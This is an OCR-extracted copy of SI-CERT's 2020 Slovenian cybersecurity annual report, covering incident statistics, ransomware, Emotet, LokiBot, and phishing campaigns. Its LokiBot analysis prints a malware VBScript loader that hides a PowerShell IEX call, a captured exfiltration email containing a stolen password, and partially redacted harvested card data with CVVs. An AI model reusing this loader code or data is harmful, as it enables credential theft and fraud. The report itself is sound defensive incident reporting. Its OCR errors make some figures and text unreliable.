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Nenadna
digitalizacija
in kibernetska

varnost




Veliko besed smo v preteklosti na razli¢nih forumih
in okroglih mizah namenjali digitalizaciji druzbe,
ki pa je - bodimo iskreni - marsikoga vseeno
presenetila lani spomladi, ko je nepri¢akovano
butnila k nam skupaj z epidemijo. Uéenje in delo
na daljavo je ¢ez no¢ zahtevalo nov nivo prenosnih
kapacitet in strezniskih storitev, nove priloznosti
pa je zaslutil tudi organiziran kriminal in okrepil
svoje aktivnosti. IzkoriSéanje COVID-19 za
podtikanje skodljive kode, izredno poveéanje
phishing napadoy, izsiljevalski virusi in napadi

onemogoc¢anja so nas zaposlovali skozi celo leto.

Smo na kibernetske groznje pripravljeni? To je eno

od pogostih vprasanj, ki jih sliSimo. Na SI-CERT

imamo za seboj 25 let izkusSenj pri odzivanju na

njih in vpeti smo v vse mednarodne mehanizme /

za koordinacijo incidentov. Rasti bomo morali < k}h
skupaj s pomembnostjo kibernetske varnosti

digitalnega okolja, zato je prostora za izboljSave Se

na pretek. Implementacija direktive NIS v Zakon

o informacijski varnosti je prinesla prve premike
Gorazd Bozié¢ ﬁ—a

Vodja SI-CERT
Predsedujo¢i EU Mrezi CSIRT po direktivi NIS

na bolje, v postopku pa je Ze nov predlog, direktiva
NIS2, ki nam prinasa Ze nove zadolzitve. Kako se na
SI-CERT lotevamo izzivoyv, pa je tudi tokrat razvidno
v nasem porodéilu o kibernetski varnosti.
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Dogodki
v letu
2020

503

Ransomware

Izsiljevalski virusi e vedno
predstavljajo stalno groznjo
podjetjem (6 obravnavanih
primerov na mesec).

Laboratorij

Razvoj skodljive kode
zahteva nadgradnjo SI-CERT
laboratorija, kjer preis¢emo
300 vzorcev; vzpostavljena je
sekundarna lokacija SI-CERT.

@

— DDoS

Spomladi se zvrsti

nekaj napadov s ciljem
onemogodcanja platform
za e-ucenje, jeseni so
tarce izsiljevalskih DDoS

napadov banke v Sloveniji.

S1-CETL 25%

[ [
Phishing
Phishing napadi so se pomnozili

(3x v primerjavi z letom 2018),
opazamo razvoj tehnik, ki
naj bi otezevale analizo in

odstranjevanje zlonamernih
spletnih mest.

R\"’W{{}
&T\s

Kriptovalute

V 2020 zaradi porasta
tecajev belezimo izbruh
investicijskih goljufij, povezanih s

kriptovalutami.
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Sy

Pandemija

Napadalci so spomladi
hitro zaceli izkoriscati
razglasitev pandemije

za podtikanje skodljive

kode v laznih sporogilih za
dobavo zas&itne opreme in
izkoristili delo na daljavo;
posebna pozornost
SI-CERT je bila usmerjena
na izvajalce bistvenih
storitev v zdravstvenem
sektorju.



Nagrade
in priznanja v 2020

- priznanje Ambasador
g - zasebnosti Informacijske
i pooblascenke RS

Slovenska velika nagrada
varnosti Instituta za
korporativno varnost

Netko 2020, nagrada
za naj spletno stran za
druzZbeno odgovornost
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Kibernetska varnost
v stevilkah




Stevilo obravnavanih
incidentov na SI-CERT
po letih

(z delezem phishing incidentov)
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Stopnje incidentov

Poleg vrste incidenta lahko dolo¢imo tudi njegovo
stopnjo. Zakon o informacijski varnosti v 21. ¢lenu
doloca vrednotenje incidenta v tri stopnje (Iazji,
tezji, kriti¢en) in podaja opisno razlago kot pomod
pri vrednotenju. Pri triazi incidenta pa potrebujemo
sistem, ki bo preiskovalcu s preprosteje doloéljivimi
parametri omogodil dolo¢anje stopnje.

Novembra 2018 je na sestanku Mreze CSIRT
predstavnik britanskega centra za kibernetsko
varnost NCSC-UK predstavil matriko stopnjevanja,

ki je vzbudila veliko zanimanje drugih ¢lanov.

Na njeni osnovi je bilo vpeljano tudi stopnjevanje
incidentov na SI-CERT-u in predstavljeno Upravi RS
za informacijsko varnost.

Stopnja incidenta se v matriki opredeli tako,
da se dolodi udinek incidenta (E, Effect) in Zrtev
incidenta (V, Victim). Za posamicni incident se
lahko uporabi tudi oznako pomemben incident,
ki stopnjo lahko zvisa.

OZNAKA »POMEMBNO« OZNAKA »KRITIENO«

« zelo razsirjena zloraba ali ranljivost + dejanske posledice

« velik vpliv na zrtev se vrstijo e <
“ « potreba po takojsnji

+ stratesko pomemben akter zamejitvi

« velika javna izpostavljenost « ogrozenost zivljenja

Dlje trajajo¢e motnje bistvenih
storitev in povezanih sistemov

Eksfiltracija, poskodovanje ali izguba
kljuénih in obéutljivih podatkov in
intelektualne lastnine

Zlonamerna koda, C2 komunikacija,
aktivni vdor preko omrezja, za¢. motnja
storitev in sistemov

UCINEK ———»

Zlonameren napad nizje pomem.,
ciljano skeniranje, phishing, izguba manj
obéutljivih podatkov

Skeniranje in pregledovanje,
identifikacija moznih taré
ali zrtev, goljufije

-

° ZRTEV >
Javnost, MSP, s.p., Srednje Lokalna Osrednja Bistvene
posameznik manjse velike org, uprava, R&l, drz. uprava,  storitve
organizacije Solstvo velike org,  nacionalna drzave,
dobavna infrastr., kritiéna
veriga dobavna v. infrastr.
za krit. infr.

12 // Poroéilo o kibernetski varnosti // 2020 // S1-Cert 25 Q



S1-Cert 25

C1: Kriti¢en incident

povzroéanje resne motnje delovanja
osrednjih drzavnih storitev, motnja
stabilnosti drzave

C2: Zelo pomemben incident

zaznan ali zelo mozen vpliv na obcutljive
podatke in delovanje drzavne in kriti¢ne
infrastrukture

C3: Pomemben incident

zaznan ali mozen vpliv na gospodarstvo,
dele drzavne infrastrukture in dobavno
verigo za kriti¢no infrastrukturo

C4: Incident visje stopnje

zaznan ali mozen vpliv na srednja podjetja
ali nizji vpliv na gospodarstvo in dele
drzave ali dobavno verigo

C5: Incident srednje stopnje

zaznan ali mozen vpliv na mala podjetjaq,
nizek vpliv na srednja, priprave

na napad na gospodarstvo ali

drzavno infrastrukturo

C6: Rutinski incident
vpliv na javnost ali priprave in poskusi,
ki bi vplivali na posameznike in MSP

=

Matrika povzeta po dokumentu »National Cyber Incident
Categorisation« britanskega centra za kibernetsko

varnost NCSC-UK, UK Crown Copyright ©, predstavljenega
na Mrezi CSIRT. Prevod in prilagoditev: SI-CERT.

Vrste incidentov

Na SI-CERT-u smo razvr$¢anje incidentov

v kategorije uvedli ze leta 2004. Kot mnogi
odzivni centri takrat smo se sami odlod&ili, kako
bomo opredelili vrste incidentov. Kasneje se je
pokazala potreba po poenotenju taksonomije
incidentov in zaceli so se pogovori v razli¢nih
skupinah CSIRT (TF-CSIRT: skupina vseh
evropskih skupin CSIRT) in projektih (kot je
eCSIRT.net). Z implementacijo direktive NIS
po drzavah ¢lanicah EU pa so se dejavnosti
glede usklajevanja taksonomije preselile tudi
v Mrezo CSIRT, koordinacijo dejavnosti

pa izvaja agencija ENISA.

Na SI-CERT-u od 1. 1. 2019 uporabljamo novo
razvrséanje incidentov, narejeno na osnovi
referenéne taksonomije, ki jo je predpisala agencija
ENISA (https://www.enisa.europa.eu/publications/
reference-incident-classificationtaxonomy/).
Taksonomijo smo dopolnili z nekaterimi vrstami
zlorab, s katerimi se prvenstveno sre¢ujemo pri
ozavescanju javnosti. Opravljena je bila preslikava
stare kategorizacije od leta 2016 naprej v novo
taksonomijo, kar omogoca pregled nad Stevilénimi
trendi obravnavanih incidentov.

S1-Cert 25 Qf /] Poroéilo o kibernetski varnosti // 2020 // 13



2016 2017 2018 2019 2020 2016 2017 2018 2019 2020
Neprimerna 140 80 98 67 97 Zbiranje 110 127 75 40 31
vsebina informacij
NeZelena sporogila 140 80 98 57 72 Odtk”"‘?“lje.h
potsnctamy . 86 126 75 33 28
. tar¢ in ranljivosti
ZCIjiVC vsebina (0] (0] (0] 9 22 (Skenirqnje)
Prestrezanje
Nasilna vsebina (0] (0] (0] 1 3 komunikacije 0 0 Y S 1
Socialni inzeniring 24 1 (0] 2 2
2016 2017 2018 2019 2020 2016 2017 2018 2019 2020
Zlonamerna 514 378 270 304 295 Poskusi o o o 5 20
koda vdora
Virus 236 144 111 53 46 Izkoris€anje znane O o o0 5 &4
ranljivosti
= Poskusi prijav,
Crv ° ° 0 ° 0 bruteforce in napadi (0] (0] (0] 46 16
s slovarjem
Trojanski konj 8 39 73 166 141
Nova vrsta napada (0] (0] (0] (0] (0]
Vohunska 0 0 0 3 1
programska oprema
Dialler 1 3 o o o 2016 2017 2018 2019 2020
Rootkit o} 0 o} o} 1 .
Vdori 138 138 117 45 93
Boti in botneti 56 18 17 17 16
Zloraba
. .. priviligiranega
Nadzorni streznik (0] 0] (0] 6 7 uporabnikega 41 35 42 6 7
raduna
Izsiljevalski virus 212 171 64 53 69 Zloraba
. . nepriviligiranega
Orodje za oddaljen 2 75 67 62 35 82
nadzor (RAT) 1 3 5 6 14 upf)rabnlskegcl
raéuna
Napad na aplikacijo 22 36 13 4 4

14
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2016 2017 2018 2019 2020 2016 2017 2018 2019 2020
RazpoloZljivost 75 26 22 40 | 40 Goljufije 1001 1207 1505 1840 1848
Napad

N 2 1 (o} 2 7 «x
onemogocanja Nepooblasceno 16 18 13 8 4
Porozdeljen napad IZkOI’ISCOnje Vvirov
onemogoéqnjq 73 25 22 31 31 Intelektualna

lastnina in avtorske 8 5 8 13 10

Sabotaza o o (0] 4 (0] pravice
|zpad delovanja o) o) o) 3 2 Kraja identitete 103 106 62 96 = 67
naprav ali omrezja

2016 2017 2018 2019 2020 Phishing sporocilo 157 171 175 301 488
Varnost Phishing spletno
. ee 1 o 139 49 47 134 202
informacijskih 0 0 o0 2u 26 mesto
virov ﬁgll(e:;gvonje 302 408 339 164 97
Nepooblasc¢en 0 0 0 15 13 o
dostop do podatkov Goljufija z
Nepooblag&eno vnaprejs$njim 87 157 161 149 168
spreminjanje () (0] (0] 5 8 pladilom
FEEEE S Izsiljevanje 33 78 359 291 144
.O?tek"”’? O 0 O0 &4 5
informaci Druge goljufije 156 215 341 684 668

2016 2017 2018 2019 2020

. . 2016 2017 2018 2019 2020
Ranljivosti 1 10 5 50 36
(o} (o} (0} 3 1
Odgovorno 1 10 5 25 14 Test
razkrivanje
Razkritje ranljivosti 0] 0 0 1 2 Namenjeno 0 o) 0 3 1
preizkusom
Ranljivi sistemi in 0 0 0 ol 20
naprave
2016 2017 2018 2019 2020
2016 2017 2018 2019 2020
Skuqu 2224 2267 2385 2724 2766
Drugo 245 301 293 260 279
Drugo 231 291 246 243 226 Nerazvrséenih 57 33 46 9 9
Novinarsko 1 10 47 17 53 Skupaj vseh 2281 2300 2431 2733 2775
vprasanje incidentov
S1-cert2s 2y /] Poroéilo o kibernetski varnosti // 2020 // 15
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Izbrane vrste incidentoy,
pregled po mesecih
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Povprecno
oSkodovanje

1.400 €

oSkodovanje pri spletnem
nakupovanju v laznih trgovinah

10.000 €

odkupnina za odSsifriranje
podatkov (izsiljevalski virusi)

20.000 €

izguba pri investicijskih
goljufijah (kriptovalute)

19.000 €

izguba pri vrivanju v poslovno
komunikacijo (BEC)

262

prijav
na mesec

231

novih incidentov
na mesec

LL427

poslanih odgovorov
v letu 2020

°3

pisnih odgovorov
medijem

r /] Poroéilo o kibernetski varnosti // 2020 // 17




Obravnavani
incidenti

=
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Skodljiva koda - $kodljiva koda v 2020

stari triki v novi podobi Virus 46
Trojanski konj 141

Razvoj dogodkov v povezavi s Sirjenjem virusa

QOVID—lQ je imel pqs',legl'lc.e t.udvl na deroqu Vohunska programska oprema 1

kibernetske varnosti in Sirjenja Skodljive kode.

Storilci so situacijo izkoriséali za razposiljanje Rootkit 1

sporo¢il z zlonamernimi priponkami, ki naj bi

vsebovale pomembne informacije o COVID-19. Cinb .

V zabelezenih primerih je §lo predvsem za Sirjenje Botiin botneti )

okuzbe s trojanskimi konji za krajo informacij ) .

(information stealer). Nadzorni streznik 7
Izsiljevalski virus 69
Orodje za oddaljen nadzor (RAT) 14
Skupaj 295

Tehniéne analize razliénih vrst skodljivih kod si lahko preberete v nasih Tehniénih zapisih:

SI-CERT TZ002 / Zlonamerna koda na osnovi skriptnega jezika Autolt www.cert.si/tz002/

SI-CERT TZ0O03 / Analiza VB5 packed zlonamerne kode www.cert.si/tz003/

SI-CERT TZ0OO4 / Analiza trojanca za Android mobilne naprave www.cert.si/tz004/

SI-CERT TZOOS / Andliza trojanca za prikriti oddaljeni dostop (RAT) www.cert.si/tz005

SI-CERT TZOO06 / Purple Fox Exploit Kit www.cert.si/tz006
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Vzpon in padec Emoteta

Emotet je trojanski konj, namenjen kraji SI-CERT: Obravnavani primeri
uporabnigkih podatkov (angl. information stealer). Emotet trojanskega konja po letih:
Izkazal se je za zelo trdovratnega - prva razlic¢ica
sega v 2014, v tem &asu pa se je razvil v napreden
in u¢inkovit mehanizem okuzbe rac¢unalnikov.
Glavni namen je kraja uporabniskih podatkov:
shranjenih gesel v brskalnikih, odjemalcih 60

elektronske poste, programih za hipno sporocanje,

krajo vsebine in naslovov elektronske poste,

beleZzenje vnosov prek tipkovnice oz. keylogger. 40

Okuzba odpira vrata tudi nadaljnjim zlorabam:

uporaba okuzenega rac¢unalnika v botnetu za 22
napade na druge sisteme ter za prenos druge 20
Skodljive kode na okuzen sistem, npr. izsiljevalskih

virusov (angl. ransomware).

80

Emotet ni izbir¢en pri iskanju svojih Zrtev, nevaren 0
je tako za posameznike kakor tudi za vedja
podjetja in druge organizacije. Konec leta 2019

se je dopolnil z moznostjo zlorabe predhodne
legitimne komunikacije, odtujene iz okuzenega
rac¢unalnika. Ko naslovnik prejme sporocgilo,
napaéno domneva, da gre za odgovor na dejansko
korespondenco, kar pove¢a moznost, da klikne na
priponko in okuzi tudi svoj ra¢unalnik. Zraven to
pomeni, da so upravljalci Emotet okuzb pridobili
tako naslove kot tudi vsebino elektronskih sporocil
iz pos$tnih odjemalcev Outlook, ki so, skupaj

z operacijskim sistemom Windows, ve¢inoma

v uporabi v poslovnem okolju.

2017 2018 2019 2020

V zagetku leta 2021 je ukrajinska policija v
mednarodni akciji aretirala upravitelje Emotet
trojanca, sodelujoc¢e CSIRT skupine so preusmerile
podatkovne tokove iz okuzenih ra¢unalnikov v
ponore (angl. sinkhole) in tako pridobile podatke o
okuzenih radunalnikih iz celega sveta. Vsi podatki
okuzenih sistemov v Sloveniji so bili iz SI-CERT
poslani ponudnikom s prosnjo, naj o okuzbi obvestijo
svoje naroénike in jim pomagajo okuzbo odstraniti.

=S
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Sirjenje Lokibota v laznih
sporocilih slovenskih
podjetij in organizacij

Povezava do élanka:

www.cert.si/2020nijz
www.cert.si/2020nlb

Junija 2020 so bila v dveh valovih razposlana lazna sporocila v imenu Nacionalnega instituta za
javno zdravje (NIJZ), ki so v priponki vsebovala zlonamerno priponko, ki je po odprtju na sistem
prenesla trojanskega konja vrste LokiBot, ki je namenjen kraji informacij iz okuZenih sistemov in
lahko sluzi tudi kot prva faza naprednejSega napada. Sporodila so se razposiljala z zlorabljenega
elektronskega naslova zaposlenega v manjSem slovenskem podjetju, in sicer iz obmo¢ja drzav
Ruske federacije, Latvije in Kazahstana.

4 R
Distribucija zaséitne opreme Covid-19 (Ministrstvo za zdravje Slovenija) Junij 2020
0d slovenski nacionalni in&titut za zdravie dne 2020-06-02 11:50
od love scionaln itut za S
Odgovor na J . Dnijz.s

Odgowvor na # NIjZ. &

Datum

= San !

[ prijavnica za preventivno opremo-pdf.zip (~35 KB) =

Nl Z MNacionalni inﬁﬂtu‘t‘.gREPUBLIKASLDVENI]ﬂ
za javno zdravje = MINISTRSTVO ZA ZDRAVJE

Potovani,

Mi, slovenski nacionalni institut za zdravje, bomo v sodelovanju z Ministrstvom za zdravje Slovenije in po direktivi nae
vlade o edzivu na covid-19 zadeli brezplaéno distribuirati zascitno oprema covid-19 vsem registriranim podjetjem in
industrije v Slovenifi. Jasne izpolnite priloZeni obrazec in se prepriajte, da sta v tem obrazcu dobro zapisana tegno Stevilo
zaposlenih in naslov podjetja.

Izpolnite prilofen obrazec in nam podljite kopljo, preden se danes zaprete, in fakamo vad hiter odgover.
Vse izpoinjene obrazce podljite na to e-podto: . nijz.s
Ce potrebujete informacije o covid-19, poklidite brezplaéno: 0801404

zdravo
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V prvem valu je bilo sporoé¢ilo poslano na 31.558 razli¢nih slovenskih naslovov v 115 vrhnjih domenah.
Analiza porazdeljenosti je pokazala, da je bila kampanja usmerjena predvsem na Slovenijo in Srbijo.

Avtorji Skodljive kode v&asih v kodo vkljuéijo tudi komentar, namenjen varnostnim raziskovalcem.

Tekom analize tega LokiBota smo naleteli na naslednji komentar, ki kaze na najpogostejsi modus operandi
napadalcev. Ti namre¢ sami ne pisejo zlonamerne kode, ampak jo kupijo na érnem trgu ter nato zgolj
prekonfigurirajo za svoje potrebe.

rs (51 %) \ TLD z <100 naslovniki (4 %)

eu (1 %)

___-org(1%)

\"hr(l%)

T net (4 %)

\o com (15 %)
si (22 %) /

/G ?Ctdabt{*ject{"W:c:ip:.shell"l.teg‘ﬂ:ite "HECU\Software\iamresearchez™, "3.‘.':.l:k.secl.'.::i‘.:r':e:ea:-:j—.e:=='-:an‘.'.ac‘.:1r.e2x'.:ep:a:el:'c-:hn‘.:A

B Const HIDDEN WINDOW = O

8 strComputer = " "

10 Set cbijWMISarvice = GatObject ("winmgmes:" & "[imperscnationlevel=imparsonate}!\\" & strComputer & "\reotlcimvi")
11 Set objsStartup = chiWMIService.Get("Win32 ProcesssStartup”)

12 Set objConfig = objStartup.Spawnlnstance

13 cbjConfig.ShowWindow = HIDDEN WINDOW

14 Set objFrocess = GetCbhbject (“winmgmts:rooth\cimv2:Win32_Frocess”™)

15 srrReturn = cbjProcess.Create({ "powershell ((gp HRCU:\Scftware).iamresearcher) |IEX", null, cbjConfig, intProcessID)

16 'i am not a coder not a expert i am script kiddie expert i read code from samples on site then compile in my way

17 i am not a coder ;) i watch you on twitter avery day thanks :) i love my cods raportsl

18 'i am not a coder! bang ;) /
o9
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Cenik za LokiBota, povzet po nekem spletnem forumu:

Prices:

- Loader: 250§

- Stealer: 350§

- Wallet stealer: 350$
- Formgrabber: 500$
- Webinject: 500$

- Ransom: 250§

- VNC: 200$

- Miner: 200$

- DDOS: 200$

- DNS Changer: 100$
- Socks5 Proxy: 508

- Keylogger: 508

All modules in one: 2200$
rebuild: 25$
Upgrade V1 to V2: 508

V1 buyers get 20% discount on new modules

.

Podobne napade, pri katerih so napadalci

posiljali zlonamerna sporodila z namenom okuzbe
racunalnikov z information stealer virusom v imenu
razliénih slovenskih podjetij in organizacij, smo
belezili tekom celega leta.

S1-Cert 25 2
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KCIj je information stealer? gesla, ki jih vpisujete na spletnih straneh, ter
digitalna potrdila, shranjena v sistemu. Virus

Pri okuzbi z virusom tipa information stealer namesti keylogger, ki beleZi vse, kar piete,

se virus zaZene v ozadju in medtem ko vi vsake toliko pa napadalcem poslje tudi zajem
uporabljate raé¢unalnik, napadalcu posilja zaslona. Virus lahko napadalcem omogoéa
gesla, ki jih imate shranjena v brskalnikih in neomejen dostop do raéunalnika. Med najbolj
programih za e-posto ali hipno sporoéanje, znane spadajo LokiBot, AgentTesla, Emotet ipd.

Primer zajetega omreZnega prometa iz sistema, okuZzenega z LokiBotom, ki zajete
podatke napadalcem posilja preko elektronske poste. V prikazanem primeru so bili
poslani osnovni podatki o sistemu in shranjeno geslo v Firefoxu:

MAIL FROM:< LY [S—— m >

250 2.1.08 Ok

RCPT TO: <mmmsll mn Sngel ol fnssessmes o e

250 2.1.5 Ok

DATA

354 End data with <CR><LF>.<CR><LF>
MIME-Version: 1.9

From: - E—— e

To: E N B N R e ]

Date: 20 Nov 2020 14:45:54 +0100

Subject: PW svuser/LAPTOP-RUEK7US3
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

Time: 11/20/2020 14:45:53<br>User Name: svuser<br>Computer Name: =
LAPTOP-RUGK7US3<br>0SFullName: Microsoft Windows 1@ Pro<br>CPU: I=
ntel(R) Core(TM) i5-8265U CPU @ 1.60GHz<br>RAM: 7960,48 MB<br>IP =
Address: <br><hr>URL:https://www.google.com<br>=0D=0AUsername:rok=
..email@gmail.com<br>=8D=2APassword:bilajehudamravljica<br>=0D=0AA=
pplication:Firefox<br>=0D=0A<hr>=0D=0A

24 [/ Poroéilo o kibernetski varnosti // 2020 // S1-Ce€Ir't 25 Q(



Izsiljevalski virusi

Rahel porast obravnavanih incidentov z izsiljevalskimi virusi:

@ Konec obdobja ciljanja na
1 individualne uporabnike,
prehod na podjetja.

250 212
171

125
68

64 53

0 N © o (]
P P — Py o~
o) o o

N N 8 N 8

Nevarnost kibernetskih napadov na sisteme

zdravstvenega sektorja

V noéi na petek, 13. marca 2020, je bil univerzitetni
kliniéni center v Brnu, ki je druga najvecja bolnisnica
na Ceskem, taréa kibernetskega napada z
izsiljevalskim virusom. Zaradi napada so morali
odpovedati vse nenujne operacije in nekaj bolnikov
prestaviti v sosednje bolni$nice, in to v ¢asu,

Na neki slovenski obé&ini so v jutranjih urah
sredi maja 2020 opazili, da so se datoteke
zacele preimenovati v konénico .SATANA in jih
ni bilo ve& mogoé&e odpreti. Slo je za okuzbo z
izsiljevalskim virusom Globelmposter 2.0, za

katerega ni znan postopek odsifriranja datotek
brez kljuéa v lasti napadalcev. Preiskava
streznika in ene od delovnih postaj je pokazala
na najverjetnejSo moznost vdora preko
pomanijkljivo zaséitene storitve oddaljenega
dostopa (Windows Remote Desktop) z lahko

ko so bile na Ceékem razglagene izredne razmere
zaradi razglasene pandemije. Zaradi ocene
povec¢ane moznosti napadov je SI-CERT kontaktiral
vse izvajalce bistvenih storitev iz zdravstvenega
sektorja in jim svetoval dodatne ukrepe

za zad&ito omrezja.

uganljivim administratorskim geslom.

Po vdoru so napadalci namestili vrsto orodij,
s katerimi so pridobili dodatna gesla in so
se lahko razsirili na druge delovne postadje.
Glavni streznik obéine je imel izdelane
varnostne kopije, ki v napadu niso utrpele
Skode, zato jih je bilo mogoée restavrirati.
Za dokumente na delovnih postajah ni bil
doloéen rezim izdelave varnostnih kopij, zato
teh dokumentov ni bilo mozno restavrirati

iz varnostnih kopij.
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Evolucija phishinga

Porazdelitev phishing incidentov po ciljih (op.: venem incidentu je lahko obravnavanih

tudi ve¢ phishing mest):

Microsoft
raéun (13 %)

N

Paypal __ |
(16 %)

Phishing ali ribarjenje za

osebnimi podatki je vrsta

napada z laznim predstavljanjem,
najpogosteje v elektronskih
sporocilih, ki poskusajo
prejemnika prepricati v razkritje
obéutljivih podatkov. Najpogostejsi
cilji napadov so gesla za
elektronsko posto. Ob prijavi na
SI-CERT skusamo imprej dosedi
odstranitev spletnega mesta in
umestitev na zadrzevalne sezname
brskalnikov (Safe Browsing List).
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DHL (9 %)l

Slovenski email
ponudnik (8 %)

/

Netflix (2 %)
/Amazon (2 %)
—— Wetransfer (2 %)
*~— Facebook (2 %)
*>~ Slovenska banka (3 %)
—— Tuja banka (4 %)
~—— Slovenski ponudnik vsebin (3 %)
~—— Slovensko podjetje (1 %)
o~ Google rac¢un (1 %)
\ Tuje podjetje (1 %)

Ostalo (1 %)

T

Email (generiéni) (29 %)

800
700 202
600
Phishing
500 spletno mesto,
gostovano v
400 Sloveniji
300
200 Phishing
100 poskus na
slovenske

uporabnike

2018 2019 2020

>,



Phishing napadi niso nekaj novega in jih v taki
obliki kot sedaj poznamo Ze vrsto let, kljub temu
pa so e vedno uspesni. Ceprav je vedino phishing
napadov dokaj enostavno prepoznati, jih dolocen

delez uporabnikov ne prepozna in nasede prevari.
V nekaterih primerih na SI-CERTu pridobimo
informacije o vpisanih podatkih zrtev, kar nam
da vpogled v uspesnost izvedbe napada.

& webmailarnessiz Dobrodofliv. X <=

“ =3 @ @ Nivamo | www.flatoutimports.com/wp-admin/maint/arnes/indexhtm|

arnes ¥

let povezujerno znznje

Arnes spletna posta

Prijava v spletni vmesnik: vpigite svoje uporabnifko ime (ne vpisujte svojega elektronskega naslova ali NetID-ja) in svoje geslo ter
wvnos potrdite s klikom na gumb Prijava.

. Dobrodedli v webmail.arnes.si

Uporabniko ime | |
Geslo | ]

Prijava

Navodila za ka boste naZli pa tem naslovu. V primeru tefav ali vprasanj smo dosegljivi na telefonski
Stevilki 01/4798800 nll preko elektronske poste na naslovu helpdesk@arnes.si, vsak delovni dan med 8:00 in 20:00. | Informacije o

N i

S SPLETNI DETEKTIV? ©§ S e
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Primer ¢asovnega poteka enega od obravnavanih phishing napadov, taréa so bili uporabniki
enega od slovenskih ponudnikov elektronske poste:

11:12 - napadalci priénejo posiljati phishing sporoéila. Sporogilo je bilo poslano na priblizno

900 naslovov.

11:16 - na phishing strani prvi uporabnik vpise svoje up. ime in geslo.

11:49 - SI-CERT prejme obvestilo, sprozi ukrepe za omejitev napada.

12:22 - na phishing strani je podatke vpisalo Ze 20 uporabnikov.

14:42 - ponudnik gostovanja po obvestilu SI-CERT onemogogéi phishing stran. Do takrat je
svoje uporabnisko ime in geslo vpisalo 24 uporabnikov, kar je priblizno 2,5 % vseh

prejemnikov sporogila.

Vendar pa ne gre vedno tako gladko, saj je ukrepanje
odvisno od odzivnosti ponudnika, pri katerem
spletna stran gostuje. Obic¢ajno je phishing spletna
stran postavljena na neustrezno vzdrzevanem

in zas¢itenem spletnem mestu, ki z napadom

ni povezan. Kako hitro bo ukrepal ponudnik pri

Oviranje preiskovanja

Storilci so bolj pogosto v letu 2020 uporabljali
geolokacijsko blokiranje, da so otezili preiskovanje

in ukrepanje proti zlonamernim spletnim mestom.

S seznamom znanega javnega naslovnega prostora
odzivnih skupin in podjetij, ki upravljajo z zadrzalnimi
seznami (safe browsing list), vracajo lazne rezultate
»Napaka 404 - stran ne obstaja«. Na ta nacin

nas zelijo zavesti, da je problemati¢na stran ze

=S
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obvescanju svoje stranke, da so jim spletno mesto
zlorabili, in jim pomagal stran odstraniti, je odvisno
od postopkov pri tem (praviloma tujem) ponudniku.
Ceprav bi morda sklepali, da so pri tem po&asnejsi

v manj internetno razvitih predelih, pa imamo na
SI-CERT pogosto tezave drugje: pri ponudnikih v ZDA.

odstranjena in si podaljSajo ¢asovni okvir, v katerem
lahko zbirajo gesla. V drugih primerih, ko so recimo
ciljani komitenti banke v Sloveniji, pa phishing stran
pokazejo le poizvedbam s slovenskih IP naslovov.
Ker upravitelji zadrzalnih seznamov (najvedji je
Google) prijave phishing strani preverjajo s tujega
naslovnega prostora, spet napacno sklepajo, da je
tezava ze odpravljena.



Phishing za kreditnimi
karticami v imenu
dostavne sluzbe

Od aprila dalje smo obravnavali veé valov phishing
napadov na slovenske uporabnike pod krinko
placila za dostavo paketa. Povezava v sporodilih
je vodila na spletno stran, ki je oblikovno izgledala
kot spletna stran dostavnega podjetja (najveckrat
Posta Slovenije in DHL), na njej pa je bilo potrebno
opraviti placilo dostave preko vnosa podatkov o
kreditni kartici in enkratne kode iz SMS sporocila
banke. Po vnosu podatkov so napadalci v neki
spletni trgovini opravili nakupe in s tem Zrtve
oskodovali tudi za ve¢ kot 1000 €.

¥ Poita Slovenije Signin Signlp Shoppisg baske

Moy =3
A

sasmoral upping e

Temmmam

@ Shipping code: 5| / 1938456
Seandmed Park

9 B

g Payment details

L e’
Teital 1,59 EUR
Ll
T of Bagiry
O e
1 e o el dsen et e Pty Py .
A\ S/

1 F—++—————[ CVY posta SE ]|———- ++——
2 first name : (===
3  last name : "S.ad o ki
4 card number am_ - F "L
S Exp date : 10/24
& Cvv : 541
T == —— [ CVV posta BI ]=-=---- +4==
8 first name B
9 last name : J -
10 card number -3 B — —
11 Exp date : 09/21
12 Cvvw : 051
13 ——dpm———— [ CVV posta SI ]----- +==
14 first name : Fe————E
15 last name : Fadl ks
16 card number : ==
17 Exp date : 05/2022
18 Cwvv : 510
19 —=—4+==—— [ CVV posta SI ]--—-—-- +h——
20 first name : mpmls
21 last name : Ieessls
22 card number L n
23 Exp date : 03/2021
24 Cvv : 781
R ==+ = ———— [ CVV posta 8I ]--——- b=
26 first name : B
27 last name : 1
28 card number =N L
29 Exp date : 0324
30 Cvw : 778
31 ——++————- [ CVV posta 8I |--——- +4—
32 |first name : =m e
33 last name : HaiEe il
34 card number 18 = B e
35 Exp date : 07/2022
36 Cvv : 237
37 ——tt=———— [ CVV posta 8I ]---—- +4—=
38 first name : (mwepwiis
39 last name : priiilin
40 card number = # E B Tas
41 Exp date : 05/23
a2z Cvv : 412
43 ——fmm——e [ CVV posta 8I ]-=---- +4==
44 first name : | ==
45 last name : §J
46 card number
a7 Exp date : 072024
48 Cvv : 600
St [ CVV posta SI ]-———-- == )
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Napadi so bili relativno uspesni, sqj je veliko Primer obravnavanih phishing strani Poste Slovenije

uporabnikov vpisalo podatke. V dolo¢enih v obdobju enega tedna:

primerih smo na SI-CERTu pridobili zajete

podatke s streznika in v dolo&enih primerih Datum Domena, na kateri
identificirali podatke o veé kot 100 razli¢nih se nahaja phishing stran
kreditnih karticah. Vse pridobljene podatke

smo tudi sproti sporocali bankam, ki so 28. 8. transcoled.com

kartice blokirale in o zlorabi obvescale

komitente. 29. 8. basheerbhai.com
Intenziteta napadov je bila v dolo&enih 29. 8. prices-day.com

obdobjih izredno visoka. Konec avgusta
smo v obdobju enega tedna obravnavali
kar 8 razli¢nih phishing spletnih mest za 19
Posto Slovenije.

30. 8. lifeinschool.info

communication2014.com

2.9 organiclyclean.com
3.9 aaalb.org
3.9 fightingfitwithfibro.co.uk

Stevilo obravnavanih incidentov za DHL in Posto Slovenije:

12

10

2020/1 2020/2 2020/3 2020/4 2020/5 2020/6 2020/7 2020/8 2020/9 2020/10 2020/11 2020/12
2y
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Phishing preko
SMS sporodil

Na zagetku leta smo obravnavali veé primerov
phishing napadov na komitente nekaterih slovenskih
bank, pri ¢emer so napadalci povezave na lazne strani
posiljali v SMS sporodilih. Sporoé¢ila so bila poslana

na nakljuéne telefonske $tevilke, zato smo izkljudili
moznost zlorabe baz podatkov komitentov bank.

< ABANKA

Izbrisi

@ inhouseworld.com/abanka

ABANKA
Barsrlea pe riat
Prijava
Elektronski naslov:
Osebno geslo:
PRIJAVA b

Prosime, vnesite elekironski naslov in osebno geslo

